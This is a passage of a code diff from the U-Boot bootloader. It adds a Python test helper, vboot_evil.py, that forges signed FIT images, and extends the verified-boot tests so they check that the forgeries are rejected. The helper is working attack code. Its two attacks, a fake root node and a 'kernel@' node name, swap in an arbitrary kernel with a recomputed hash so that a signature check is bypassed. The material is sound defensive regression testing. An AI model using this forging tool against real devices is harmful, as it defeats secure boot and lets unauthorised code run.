root, strblock = vboot_forge.manipulate(root, strblock)
|
||||
with open(ffit, 'w+b') as fd:
|
||||
vboot_forge.write_fdt(root, strblock, fd)
|
||||
util.run_and_log_expect_exception(
|
||||
cons, [fit_check_sign, '-f', ffit, '-k', dtb],
|
||||
1, 'Failed to verify required signature')
|
||||
|
||||
run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False)
|
||||
run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False, ffit)
|
||||
|
||||
# Try adding an evil root node. This should be detected.
|
||||
efit = '%stest.evilf.fit' % tmpdir
|
||||
shutil.copyfile(fit, efit)
|
||||
vboot_evil.add_evil_node(fit, efit, evil_kernel, 'fakeroot')
|
||||
|
||||
util.run_and_log_expect_exception(
|
||||
cons, [fit_check_sign, '-f', efit, '-k', dtb],
|
||||
1, 'Failed to verify required signature')
|
||||
run_bootm(sha_algo, 'evil fakeroot', 'Bad FIT kernel image format',
|
||||
False, efit)
|
||||
|
||||
# Try adding an @ to the kernel node name. This should be detected.
|
||||
efit = '%stest.evilk.fit' % tmpdir
|
||||
shutil.copyfile(fit, efit)
|
||||
vboot_evil.add_evil_node(fit, efit, evil_kernel, 'kernel@')
|
||||
|
||||
msg = 'Signature checking prevents use of unit addresses (@) in nodes'
|
||||
util.run_and_log_expect_exception(
|
||||
cons, [fit_check_sign, '-f', efit, '-k', dtb],
|
||||
1, msg)
|
||||
run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
|
||||
|
||||
# Create a new properly signed fit and replace header bytes
|
||||
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
|
||||
|
@ -344,8 +378,13 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
|
|||
create_rsa_pair('prod')
|
||||
|
||||
# Create a number kernel image with zeroes
|
||||
with open('%stest-kernel.bin' % tmpdir, 'w') as fd:
|
||||
fd.write(500 * chr(0))
|
||||
with open('%stest-kernel.bin' % tmpdir, 'wb') as fd:
|
||||
fd.write(500 * b'\0')
|
||||
|
||||
# Create a second kernel image with ones
|
||||
evil_kernel = '%stest-kernel1.bin' % tmpdir
|
||||
with open(evil_kernel, 'wb') as fd:
|
||||
fd.write(500 * b'\x01')
|
||||
|
||||
try:
|
||||
# We need to use our own device tree file. Remember to restore it
|
||||
|
|
485
test/py/tests/vboot_evil.py
Normal file
485
test/py/tests/vboot_evil.py
Normal file
|
@ -0,0 +1,485 @@
|
|||
# SPDX-License-Identifier: GPL-2.0
|
||||
# Copyright (c) 2020, Intel Corporation
|
||||
|
||||
"""Modifies a devicetree to add a fake root node, for testing purposes"""
|
||||
|
||||
import hashlib
|
||||
import struct
|
||||
import sys
|
||||
|
||||
FDT_PROP = 0x3
|
||||
FDT_BEGIN_NODE = 0x1
|
||||
FDT_END_NODE = 0x2
|
||||
FDT_END = 0x9
|
||||
|
||||
FAKE_ROOT_ATTACK = 0
|
||||
KERNEL_AT = 1
|
||||
|
||||
MAGIC = 0xd00dfeed
|
||||
|
||||
EVIL_KERNEL_NAME = b'evil_kernel'
|
||||
FAKE_ROOT_NAME = b'f@keroot'
|
||||
|
||||
|
||||
def getstr(dt_strings, off):
|
||||
"""Get a string from the devicetree string table
|
||||
|
||||
Args:
|
||||
dt_strings (bytes): Devicetree strings section
|
||||
off (int): Offset of string to read
|
||||
|
||||
Returns:
|
||||
str: String read from the table
|
||||
"""
|
||||
output = ''
|
||||
while dt_strings[off]:
|
||||
output += chr(dt_strings[off])
|
||||
off += 1
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def align(offset):
|
||||
"""Align an offset to a multiple of 4
|
||||
|
||||
Args:
|
||||
offset (int): Offset to align
|
||||
|
||||
Returns:
|
||||
int: Resulting aligned offset (rounds up to nearest multiple)
|
||||
"""
|
||||
return (offset + 3) & ~3
|
||||
|
||||
|
||||
def determine_offset(dt_struct, dt_strings, searched_node_name):
|
||||
"""Determines the offset of an element, either a node or a property
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
dt_strings (bytes): Devicetree strings section
|
||||
searched_node_name (str): element path, ex: /images/kernel@1/data
|
||||
|
||||
Returns:
|
||||
tuple: (node start offset, node end offset)
|
||||
if element is not found, returns (None, None)
|
||||
"""
|
||||
offset = 0
|
||||
depth = -1
|
||||
|
||||
path = '/'
|
||||
|
||||
object_start_offset = None
|
||||
object_end_offset = None
|
||||
object_depth = None
|
||||
|
||||
while offset < len(dt_struct):
|
||||
(tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
|
||||
|
||||
if tag == FDT_BEGIN_NODE:
|
||||
depth += 1
|
||||
|
||||
begin_node_offset = offset
|
||||
offset += 4
|
||||
|
||||
node_name = getstr(dt_struct, offset)
|
||||
offset += len(node_name) + 1
|
||||
offset = align(offset)
|
||||
|
||||
if path[-1] != '/':
|
||||
path += '/'
|
||||
|
||||
path += str(node_name)
|
||||
|
||||
if path == searched_node_name:
|
||||
object_start_offset = begin_node_offset
|
||||
object_depth = depth
|
||||
|
||||
elif tag == FDT_PROP:
|
||||
begin_prop_offset = offset
|
||||
|
||||
offset += 4
|
||||
len_tag, nameoff = struct.unpack('>II',
|
||||
dt_struct[offset:offset + 8])
|
||||
offset += 8
|
||||
prop_name = getstr(dt_strings, nameoff)
|
||||
|
||||
len_tag = align(len_tag)
|
||||
|
||||
offset += len_tag
|
||||
|
||||
node_path = path + '/' + str(prop_name)
|
||||
|
||||
if node_path == searched_node_name:
|
||||
object_start_offset = begin_prop_offset
|
||||
|
||||
elif tag == FDT_END_NODE:
|
||||
offset += 4
|
||||
|
||||
path = path[:path.rfind('/')]
|
||||
if not path:
|
||||
path = '/'
|
||||
|
||||
if depth == object_depth:
|
||||
object_end_offset = offset
|
||||
break
|
||||
depth -= 1
|
||||
elif tag == FDT_END:
|
||||
break
|
||||
|
||||
else:
|
||||
print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
|
||||
break
|
||||
|
||||
return object_start_offset, object_end_offset
|
||||
|
||||
|
||||
def modify_node_name(dt_struct, node_offset, replcd_name):
|
||||
"""Change the name of a node
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
node_offset (int): Offset of node
|
||||
replcd_name (str): New name for node
|
||||
|
||||
Returns:
|
||||
bytes: New dt_struct contents
|
||||
"""
|
||||
|
||||
# skip 4 bytes for the FDT_BEGIN_NODE
|
||||
node_offset += 4
|
||||
|
||||
node_name = getstr(dt_struct, node_offset)
|
||||
node_name_len = len(node_name) + 1
|
||||
|
||||
node_name_len = align(node_name_len)
|
||||
|
||||
replcd_name += b'\0'
|
||||
|
||||
# align on 4 bytes
|
||||
while len(replcd_name) % 4:
|
||||
replcd_name += b'\0'
|
||||
|
||||
dt_struct = (dt_struct[:node_offset] + replcd_name +
|
||||
dt_struct[node_offset + node_name_len:])
|
||||
|
||||
return dt_struct
|
||||
|
||||
|
||||
def modify_prop_content(dt_struct, prop_offset, content):
|
||||
"""Overwrite the value of a property
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
prop_offset (int): Offset of property (FDT_PROP tag)
|
||||
content (bytes): New content for the property
|
||||
|
||||
Returns:
|
||||
bytes: New dt_struct contents
|
||||
"""
|
||||
# skip FDT_PROP
|
||||
prop_offset += 4
|
||||
(len_tag, nameoff) = struct.unpack('>II',
|
||||
dt_struct[prop_offset:prop_offset + 8])
|
||||
|
||||
# compute padded original node length
|
||||
original_node_len = len_tag + 8 # content length + prop meta data len
|
||||
|
||||
original_node_len = align(original_node_len)
|
||||
|
||||
added_data = struct.pack('>II', len(content), nameoff)
|
||||
added_data += content
|
||||
while len(added_data) % 4:
|
||||
added_data += b'\0'
|
||||
|
||||
dt_struct = (dt_struct[:prop_offset] + added_data +
|
||||
dt_struct[prop_offset + original_node_len:])
|
||||
|
||||
return dt_struct
|
||||
|
||||
|
||||
def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
|
||||
required=True):
|
||||
"""Change a given property value
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
dt_strings (bytes): Devicetree strings section
|
||||
prop_path (str): full path of the target property
|
||||
prop_value (bytes): new property name
|
||||
required (bool): raise an exception if property not found
|
||||
|
||||
Returns:
|
||||
bytes: New dt_struct contents
|
||||
|
||||
Raises:
|
||||
ValueError: if the property is not found
|
||||
"""
|
||||
(rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
|
||||
if rt_node_start is None:
|
||||
if not required:
|
||||
return dt_struct
|
||||
raise ValueError('Fatal error, unable to find prop %s' % prop_path)
|
||||
|
||||
dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
|
||||
|
||||
return dt_struct
|
||||
|
||||
def change_node_name(dt_struct, dt_strings, node_path, node_name):
|
||||
"""Change a given node name
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
dt_strings (bytes): Devicetree strings section
|
||||
node_path (str): full path of the target node
|
||||
node_name (str): new node name, just node name not full path
|
||||
|
||||
Returns:
|
||||
bytes: New dt_struct contents
|
||||
|
||||
Raises:
|
||||
ValueError: if the node is not found
|
||||
"""
|
||||
(rt_node_start, rt_node_end) = (
|
||||
determine_offset(dt_struct, dt_strings, node_path))
|
||||
if rt_node_start is None or rt_node_end is None:
|
||||
raise ValueError('Fatal error, unable to find root node')
|
||||
|
||||
dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
|
||||
|
||||
return dt_struct
|
||||
|
||||
def get_prop_value(dt_struct, dt_strings, prop_path):
|
||||
"""Get the content of a property based on its path
|
||||
|
||||
Args:
|
||||
dt_struct (bytes): Devicetree struct section
|
||||
dt_strings (bytes): Devicetree strings section
|
||||
prop_path (str): full path of the target property
|
||||
|
||||
Returns:
|
||||
bytes: Property value
|
||||
|
||||
Raises:
|
||||
ValueError: if the property is not found
|
||||
"""
|
||||
(offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
|
||||
if offset is None:
|
||||
raise ValueError('Fatal error, unable to find prop')
|
||||
|
||||
offset += 4
|
||||
(len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
|
||||
|
||||
offset += 8
|
||||
tag_data = dt_struct[offset:offset + len_tag]
|
||||
|
||||
return tag_data
|
||||
|
||||
|
||||
def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
|
||||
"""Conduct the kernel@ attack
|
||||
|
||||
It fetches from /configurations/default the name of the kernel being loaded.
|
||||
Then, if the kernel name does not contain any @sign, duplicates the kernel
|
||||
in /images node and appends '@evil' to its name.
|
||||
It inserts a new kernel content and updates its images digest.
|
||||
|
||||
Inputs:
|
||||
- FIT dt_struct
|
||||
- FIT dt_strings
|
||||
- kernel content blob
|
||||
- kernel hash blob
|
||||
|
||||
Important note: it assumes the U-Boot loading method is 'kernel' and the
|
||||
loaded kernel hash's subnode name is 'hash-1'
|
||||
"""
|
||||
|
||||
# retrieve the default configuration name
|
||||
default_conf_name = get_prop_value(
|
||||
dt_struct, dt_strings, '/configurations/default')
|
||||
default_conf_name = str(default_conf_name[:-1], 'utf-8')
|
||||
|
||||
conf_path = '/configurations/' + default_conf_name
|
||||
|
||||
# fetch the loaded kernel name from the default configuration
|
||||
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
|
||||
|
||||
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
|
||||
|
||||
if loaded_kernel.find('@') != -1:
|
||||
print('kernel@ attack does not work on nodes already containing an @ sign!')
|
||||
sys.exit()
|
||||
|
||||
# determine boundaries of the loaded kernel
|
||||
(krn_node_start, krn_node_end) = (determine_offset(
|
||||
dt_struct, dt_strings, '/images/' + loaded_kernel))
|
||||
if krn_node_start is None and krn_node_end is None:
|
||||
print('Fatal error, unable to find root node')
|
||||
sys.exit()
|
||||
|
||||
# copy the loaded kernel
|
||||
loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
|
||||
|
||||
# insert the copy inside the tree
|
||||
dt_struct = dt_struct[:krn_node_start] + \
|
||||
loaded_kernel_copy + dt_struct[krn_node_start:]
|
||||
|
||||
evil_kernel_name = loaded_kernel+'@evil'
|
||||
|
||||
# change the inserted kernel name
|
||||
dt_struct = change_node_name(
|
||||
dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
|
||||
|
||||
# change the content of the kernel being loaded
|
||||
dt_struct = change_property_value(
|
||||
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
|
||||
|
||||
# change the content of the kernel being loaded
|
||||
dt_struct = change_property_value(
|
||||
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
|
||||
|
||||
return dt_struct
|
||||
|
||||
|
||||
def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
|
||||
"""Conduct the fakenode attack
|
||||
|
||||
It duplicates the original root node at the beginning of the tree.
|
||||
Then it modifies within this duplicated tree:
|
||||
- The loaded kernel name
|
||||
- The loaded kernel data
|
||||
|
||||
Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
|
||||
hash's subnode name is hash@1
|
||||
"""
|
||||
|
||||
# retrieve the default configuration name
|
||||
default_conf_name = get_prop_value(
|
||||
dt_struct, dt_strings, '/configurations/default')
|
||||
default_conf_name = str(default_conf_name[:-1], 'utf-8')
|
||||
|
||||
conf_path = '/configurations/'+default_conf_name
|
||||
|
||||
# fetch the loaded kernel name from the default configuration
|
||||
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
|
||||
|
||||
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
|
||||
|
||||
# determine root node start and end:
|
||||
(rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
|
||||
if (rt_node_start is None) or (rt_node_end is None):
|
||||
print('Fatal error, unable to find root node')
|
||||
sys.exit()
|
||||
|
||||
# duplicate the whole tree
|
||||
duplicated_node = dt_struct[rt_node_start:rt_node_end]
|
||||
|
||||
# dchange root name (empty name) to fake root name
|
||||
new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
|
||||
|
||||
dt_struct = new_dup + dt_struct
|
||||
|
||||
# change the value of /<fake_root_name>/configs/<default_config_name>/kernel
|
||||
# so our modified kernel will be loaded
|
||||
base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
|
||||
value_path = base + conf_path+'/kernel'
|
||||
dt_struct = change_property_value(dt_struct, dt_strings, value_path,
|
||||
EVIL_KERNEL_NAME + b'\0')
|
||||
|
||||
# change the node of the /<fake_root_name>/images/<original_kernel_name>
|
||||
images_path = base + '/images/'
|
||||
node_path = images_path + loaded_kernel
|
||||
dt_struct = change_node_name(dt_struct, dt_strings, node_path,
|
||||
EVIL_KERNEL_NAME)
|
||||
|
||||
# change the content of the kernel being loaded
|
||||
data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
|
||||
dt_struct = change_property_value(dt_struct, dt_strings, data_path,
|
||||
kernel_content, required=False)
|
||||
|
||||
# update the digest value
|
||||
hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
|
||||
dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
|
||||
kernel_digest)
|
||||
|
||||
return dt_struct
|
||||
|
||||
def add_evil_node(in_fname, out_fname, kernel_fname, attack):
|
||||
"""Add an evil node to the devicetree
|
||||
|
||||
Args:
|
||||
in_fname (str): Filename of input devicetree
|
||||
out_fname (str): Filename to write modified devicetree to
|
||||
kernel_fname (str): Filename of kernel data to add to evil node
|
||||
attack (str): Attack type ('fakeroot' or 'kernel@')
|
||||
|
||||
Raises:
|
||||
ValueError: Unknown attack name
|
||||
"""
|
||||
if attack == 'fakeroot':
|
||||
attack = FAKE_ROOT_ATTACK
|
||||
elif attack == 'kernel@':
|
||||
attack = KERNEL_AT
|
||||
else:
|
||||
raise ValueError('Unknown attack name!')
|
||||
|
||||
with open(in_fname, 'rb') as fin:
|
||||
input_data = fin.read()
|
||||
|
||||
hdr = input_data[0:0x28]
|
||||
|
||||
offset = 0
|
||||
magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
|
||||
if magic != MAGIC:
|
||||
raise ValueError('Wrong magic!')
|
||||
|
||||
offset += 4
|
||||
(totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
|
||||
last_comp_version, boot_cpuid_phys, size_dt_strings,
|
||||
size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
|
||||
|
||||
rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
|
||||
dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
|
||||
dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
|
||||
|
||||
with open(kernel_fname, 'rb') as kernel_file:
|
||||
kernel_content = kernel_file.read()
|
||||
|
||||
# computing inserted kernel hash
|
||||
val = hashlib.sha1()
|
||||
val.update(kernel_content)
|
||||
hash_digest = val.digest()
|
||||
|
||||
if attack == FAKE_ROOT_ATTACK:
|
||||
dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
|
||||
hash_digest)
|
||||
elif attack == KERNEL_AT:
|
||||
dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
|
||||
hash_digest)
|
||||
|
||||
# now rebuild the new file
|
||||
size_dt_strings = len(dt_strings)
|
||||
size_dt_struct = len(dt_struct)
|
||||
totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
|
||||
off_mem_rsvmap = 0x28
|
||||
off_dt_struct = off_mem_rsvmap + len(rsv_map)
|
||||
off_dt_strings = off_dt_struct + len(dt_struct)
|
||||
|
||||
header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
|
||||
off_dt_strings, off_mem_rsvmap, version,
|
||||
last_comp_version, boot_cpuid_phys, size_dt_strings,
|
||||
size_dt_struct)
|
||||
|
||||
with open(out_fname, 'wb') as output_file:
|
||||
output_file.write(header)
|
||||
output_file.write(rsv_map)
|
||||
output_file.write(dt_struct)
|
||||
output_file.write(dt_strings)
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) != 5:
|
||||
print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
|
||||
sys.argv[0])
|
||||
print('valid attack names: [fakeroot, kernel@]')
|
||||
sys.exit(1)
|
||||
|
||||
add_evil_node(sys.argv[1:])
|
|
@ -376,12 +376,12 @@ def manipulate(root, strblock):
|
|||
"""
|
||||
Maliciously manipulates the structure to create a crafted FIT file
|
||||
"""
|
||||
# locate /images/kernel@1 (frankly, it just expects it to be the first one)
|
||||
# locate /images/kernel-1 (frankly, it just expects it to be the first one)
|
||||
kernel_node = root[0][0]
|
||||
# clone it to save time filling all the properties
|
||||
fake_kernel = kernel_node.clone()
|
||||
# rename the node
|
||||
fake_kernel.name = b'kernel@2'
|
||||
fake_kernel.name = b'kernel-2'
|
||||
# get rid of signatures/hashes
|
||||
fake_kernel.children = []
|
||||
# NOTE: this simply replaces the first prop... either description or data
|
||||
|
@ -391,13 +391,13 @@ def manipulate(root, strblock):
|
|||
root[0].children.append(fake_kernel)
|
||||
|
||||
# modify the default configuration
|
||||
root[1].props[0].value = b'conf@2\x00'
|
||||
root[1].props[0].value = b'conf-2\x00'
|
||||
# clone the first (only?) configuration
|
||||
fake_conf = root[1][0].clone()
|
||||
# rename and change kernel and fdt properties to select the crafted kernel
|
||||
fake_conf.name = b'conf@2'
|
||||
fake_conf.props[0].value = b'kernel@2\x00'
|
||||
fake_conf.props[1].value = b'fdt@1\x00'
|
||||
fake_conf.name = b'conf-2'
|
||||
fake_conf.props[0].value = b'kernel-2\x00'
|
||||
fake_conf.props[1].value = b'fdt-1\x00'
|
||||
# insert the new configuration under /configurations
|
||||
root[1].children.append(fake_conf)
|
||||
|
||||
|
|
|
@ -26,7 +26,8 @@
|
|||
int fit_verify_header(unsigned char *ptr, int image_size,
|
||||
struct image_tool_params *params)
|
||||
{
|
||||
if (fdt_check_header(ptr) != EXIT_SUCCESS || !fit_check_format(ptr))
|
||||
if (fdt_check_header(ptr) != EXIT_SUCCESS ||
|
||||
fit_check_format(ptr, IMAGE_SIZE_INVAL))
|
||||
return EXIT_FAILURE;
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
|
|
|
@ -883,7 +883,7 @@ static int fit_extract_contents(void *ptr, struct image_tool_params *params)
|
|||
/* Indent string is defined in header image.h */
|
||||
p = IMAGE_INDENT_STRING;
|
||||
|
||||
if (!fit_check_format(fit)) {
|
||||
if (fit_check_format(fit, IMAGE_SIZE_INVAL)) {
|
||||
printf("Bad FIT image format\n");
|
||||
return -1;
|
||||
}
|
||||
|
|
|
@ -29,6 +29,8 @@
|
|||
#define debug(fmt,args...)
|
||||
#endif /* MKIMAGE_DEBUG */
|
||||
|
||||
#define log_debug(fmt, args...) debug(fmt, ##args)
|
||||
|
||||
static inline void *map_sysmem(ulong paddr, unsigned long len)
|
||||
{
|
||||
return (void *)(uintptr_t)paddr;
|
||||
|
|
Loading…
Reference in a new issue